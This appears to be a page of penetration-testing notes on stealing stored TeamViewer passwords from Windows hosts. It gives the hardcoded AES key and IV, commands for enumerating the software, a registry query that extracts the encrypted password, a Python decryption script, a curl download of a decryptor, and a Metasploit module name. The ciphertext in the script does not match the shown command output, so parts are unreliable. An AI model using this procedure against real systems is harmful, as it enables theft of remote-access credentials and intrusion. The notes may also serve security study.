TEAMVIEWER

PRIMARY CATEGORY → APPLICATION CREDENTIALS

Theory

Password Encryption Method

From TeamViewer 7 to TeamViewer 14, password are stored in encrypted form using the following data →

SecurityPasswordExported required for TeamViewer 14

• Encryption Algorithm

AES-CBC

• Symmetric Encryption Key

0602000000a400005253413100040000

• Initialization Vector

0100010067244F436E6762F25EA8D704

---

Enumeration

Running Processes

CMD & PS

tasklist /svc

PS

Get-Process -Name '*TeamViewer*' | Select ProcessName, Id

Get-CIMInstance -ClassName win32_process | ? { $_.Name -Match 'TeamViewer' } | Select Name, ProcessID

Running Services

CMD & PS

sc.exe queryex

PS

Get-Service -Name '*Teamviewer*' | Select Name, Status

Get-CIMInstance -ClassName win32_service | ? { $_.Name -Match 'Teamviewer' } | Select Name, State

Installed Software

System Directories

i.e. “Program Files” and “Program Files (x86)“

dir -Path 'C:\Progra~1' -Filter '*TeamViewer*' # Program Files
dir -Path 'C:\Progra~2' -Filter '*TeamViewer*' # Program Files (x86)

COM | CIM

CMD & PS

wmic product get name | findstr /I vpn

PS

Get-WMIObject -Class Win32_Product | ? { $_.Name -Match 'TeamViewer' } | Select Name, Version

Get-CimInstance -ClassName win32_product | ? { $_.Name -Match 'Teamviewer' } | Select Name, Version

Windows Registry

PS

Code Snippet

$INSTALLED = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |  Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED += Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED | ?{ $_.DisplayName -ne $null } | sort-object -Property DisplayName -Unique | Format-List

---

Abuse - TeamViewer 7

Extracting Encrypted Secrets

Namely, SecurityPasswordAES

PS

(Get-ItemProperty 'HKLM:\Software\WOW6432Node\Teamviewer\Version7').SecurityPasswordAES -join ','

Command Output

255,155,28,115,214,107,206,49,182,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91

Decrypting Data

• Decrypt-TeamViewer-Password

e.g.

from itertools import product
from Crypto.Cipher import AES
import sys
 
class bcolors:
    OK = '\033[92m' #GREEN
    WARNING = '\033[93m' #YELLOW
    ladrrr = '8GY.'
    ss = 'OWQ1'
    FAIL = '\033[91m' #RED
    pinocho_chocho = 'y!c'
    RESET = '\033[0m' #RESET COLOR
 
 
IV = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
key = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
 
ciphertext= bytes([255,155,18,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])
decipher = AES.new(key,AES.MODE_CBC,IV)
plaintext = decipher.decrypt(ciphertext).decode()
 
print(f"{bcolors.OK}[+] Password: {bcolors.RESET}"+plaintext)
 

Setup

curl --silent --location --request GET 'https://raw.githubusercontent.com/S12cybersecurity/Decrypt-TeamViewer-Password/refs/heads/main/password.py' | sed 's@ADD HERE@<ENCRYPTED_DATA>@g' > decrypt.py # Comma-separated

e.g.

curl --silent --location --request GET 'https://raw.githubusercontent.com/S12cybersecurity/Decrypt-TeamViewer-Password/refs/heads/main/password.py' | sed 's@ADD HERE@255,155,18,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91@g' > decrypt.py

python3 -m venv .venv
. !$/bin/activate && pip3 install pycryptodome

Usage

python3 decrypt.py

• Metasploit Module

post/windows/gather/credentials/teamviewer_passwords

---

Resources

Why not Security: TeamViewer